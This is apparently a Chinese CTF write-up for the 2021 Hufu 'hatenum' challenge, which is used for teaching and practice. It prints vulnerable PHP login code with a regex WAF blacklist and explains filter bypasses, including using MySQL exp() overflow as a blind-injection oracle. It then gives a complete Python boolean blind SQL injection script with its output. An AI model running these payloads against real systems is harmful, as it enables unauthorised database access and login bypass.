• 2021-虎符网络安全赛道-hatenum | exp()函数与正则过滤


    这个题目很有意思,值得去复现一下

    一、exp( )函数

    1、MySQL中的exp()函数用于将E提升为指定数字X的幂,这里E(2.718281 …)是自然对数的底数,exp()函数在sql注入里面exp函数一般被用做报错注入(mysql<5.5.53)里面输出报错信息

    2、这里注入利用的是Double溢出,exp(x) 含义为e的x次方,当x>709时就超过了double的取值范围造成报错输出

    3、我们可以用 ~ 运算符按位取反的方式得到一个最大值,该运算符也可以处理一个字符串,经过其处理的字符串会变成大一个很大整数足以超过 Double 数组范围,从而报错输出

    二、过程

    🍺一个登录表单

    在这里插入图片描述

    🍺给出了源码,查看一下源码

    <?php
    error_reporting(0);
    session_start();
    class User{
    	public $host = "localhost";
    	public $user = "root";
    	public $pass = "123456";
    	public $database = "ctf";
    	public $conn;
    	function __construct(){
    		$this->conn = new mysqli($this->host,$this->user,$this->pass,$this->database);
    		if(mysqli_connect_errno()){
    			die('connect error');
    		}
    	}
    	function find($username){
    		$res = $this->conn->query("select * from users where username='$username'");
    		if($res->num_rows>0){
    			return True;
    		}
    		else{
    			return False;
    		}
    
    	}
    	function register($username,$password,$code){
    		if($this->conn->query("insert into users (username,password,code) values ('$username','$password','$code')")){
    			return True;
    		}
    		else{
    			return False;
    		}
    	}
    	function login($username,$password,$code){
    		$res = $this->conn->query("select * from users where username='$username' and password='$password'");
    		if($this->conn->error){
    			return 'error';
    		}
    		else{
    			$content = $res->fetch_array();
    			if($content['code']===$_POST['code']){
    				$_SESSION['username'] = $content['username'];
    				return 'success';
    			}
    			else{
    				return 'fail';
    			}
    		}
    
    	}
    }
    
    function sql_waf($str){
    	if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
    		die('Hack detected');
    	}
    }
    
    function num_waf($str){
    	if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
    		die('Huge num detected');
    	}
    }
    
    function array_waf($arr){
    	foreach ($arr as $key => $value) {
    		if(is_array($value)){
    			array_waf($value);
    		}
    		else{
    			sql_waf($value);
    			num_waf($value);
    		}
    	}
    }
    

    🍺1、主要是正则表达过滤

    绕过账号密码检测

    username=admin
    password=||1#
    select * from users where username='admin' and password='||1#'
    

    针对code的检测,看下sql_waf, 因为返回的内容有限,所以只能使用布尔盲注

    🍺2、盲注通常会用到几个关键关键字:字符串截取类(substr)、条件判断类(if)、语句分割类(空格、/**/)、逻辑运算类(and、or)

    字符串截取类

    禁用:substr、left、right、mid

    绕过: like、rlike、instr

    其中like与rlike的区别是 rlike支持正则表达式,而like只支持如%,_等有限的通配符,like可以近似于"="

    语句分割

    禁用: 空格、r(%0d)、n(%0a)、t(%09)、/**/

    语句之间分割常常使用空格

    绕过: %a0( )、%0b(垂直制表符)、%0c(换页符)

    逻辑运算

    禁用: and、or、=、>、<、regexp

    绕过: &&、||、 like、greatest、least

    条件判断

    禁用: 因为禁用了,,所以if 语句没发使用

    🍺3、exp()函数除了能用在报错注入以外,利用exp在参数大于709时会报错的特性可以用来构造条件判断语句

    ||exp(710-(... rlike ...))
    

    即如果 (... rlike ...) 中的语句执行匹配后的结果为True,经过减号转换后为 exp(710-1) 后不会溢出;若为false,转换为 exp(710-0) 后则会溢出并报错

    🍺4、有了前面所有的绕过,就能构造语句进行code值注入了,可以判断code 长度,进而猜解code字段具体值

    因为' 被过滤,所以rlike后面不能出现字符串,需要 将正则表达式 ^xxx 转换成十六进制

    同时num_waf 有个判断十六进制位数不能超过9位,既字符串不能超过4位(一个字母对应2个十六进制数),所以在包含正则^以外的字符串超过3位时需要不断做替换,用3位字符串去匹配下一位

    🍺代码

    import requests as r
    import string
    
    url = "http://29d68ff8-0fbd-47e4-9de4-3702f4bb7a55.node4.buuoj.cn:81"
    pt = string.ascii_letters+string.digits+"$"
    # string.ascii_letters 所有字母  string.digits 所有数字
    
    
    def str2hex(raw):
        ret = '0x'
        for i in raw:
        
            # ord 返回对应的ASCII数值,hex 返回16进制数,以字符串形式表示,rjust返回一个长度为2的字符串,不够用0替补
            # 转换16进制,16进制在数据库执行查询时又默认转换成字符串
            ret += hex(ord(i))[2:].rjust(2,'0')
        return ret
    
    ans = ""
    tmp = "^"
    
    for i in range(24):
        for ch in pt:
    
            payload = f"||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(tmp+ch)}))#"
    
            payload = payload.replace(' ',  chr(0x0c)) # 0c 换页键
    
            data = {
                "username":"eki\\",
                "password":payload,
                "code":"1"
            }
    
            req = r.post(url+"/login.php",data=data,allow_redirects=False) 
            # 其实allow_redirects默认是True,所以是默认跳转
    
            if 'fail' in req.text:
                ans += ch
                print(tmp+ch,ans)
                if len(tmp) == 3:
                    tmp = tmp[1:]+ch
                else:
                    tmp += ch
    
                break
    
    '''
    ^e e
    ^er er
    ^erg erg
    ergh ergh
    rghr erghr     
    ghru erghru
    hrui erghrui
    ruig erghruig
    uigh erghruigh
    igh2 erghruigh2       
    gh2u erghruigh2u
    h2uy erghruigh2uy
    2uyg erghruigh2uyg
    uygh erghruigh2uygh
    ygh2 erghruigh2uygh2
    gh2u erghruigh2uygh2u
    h2uy erghruigh2uygh2uy
    2uyg erghruigh2uygh2uyg
    uygh erghruigh2uygh2uygh     
    '''
    
    rev_ans = ""
    tmp = "$"
    
    for i in range(24):
        for ch in pt:
    
            payload = f"||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(ch+tmp)}))#"
            #print(payload)
    
            payload = payload.replace(' ',chr(0x0c))
    
            data = {
                "username":"eki\\",
                "password":payload,
                "code":"1"
            }
    
            req = r.post(url+"/login.php",data=data,allow_redirects=False)
    
            if 'fail' in req.text:
                rev_ans = ch+rev_ans
                print(ch+tmp,rev_ans)
                if len(tmp) == 3:
                    tmp = ch+tmp[:-1]
                else:
                    tmp = ch+tmp
    
                break
    
    '''
    g$ g
    ig$ ig
    2ig$ 2ig
    32ig 32ig
    u32i u32ig
    iu32 iu32ig
    uiu3 uiu32ig
    3uiu 3uiu32ig
    23ui 23uiu32ig
    h23u h23uiu32ig
    gh23 gh23uiu32ig
    igh2 igh23uiu32ig
    uigh uigh23uiu32ig
    ruig ruigh23uiu32ig
    hrui hruigh23uiu32ig
    ghru ghruigh23uiu32ig
    rghr rghruigh23uiu32ig
    ergh erghruigh23uiu32ig
    '''
    
    data = {
        "username":"admin\\",
        "password":"||1#",
        "code":"erghruigh2uygh23uiu32ig"
    }
    
    req = r.post(url+"/login.php",data=data)
    
    print(req.text)
    

    代码运行

    在这里插入图片描述
    直接解出flag

  • 相关阅读:
    RabbitMQ(安装配置以及与SpringBoot整合)
    nginx 反向代理 负载均衡 动静分离
    (27)Blender源码分析之顶层菜单的关于对话框
    [附源码]计算机毕业设计JAVA博客系统设计
    GIT命令只会抄却不理解?看完原理才能事半功倍!
    Vue笔记之入门
    [SpringMVC笔记] SpringMVC-06-JSON数据传递参数
    visual studio python输出中文乱码问题
    spring cloud搭建教程
    k8s配置configmap指定到容器的指定文件
  • 原文地址:https://blog.csdn.net/m0_55793759/article/details/127078074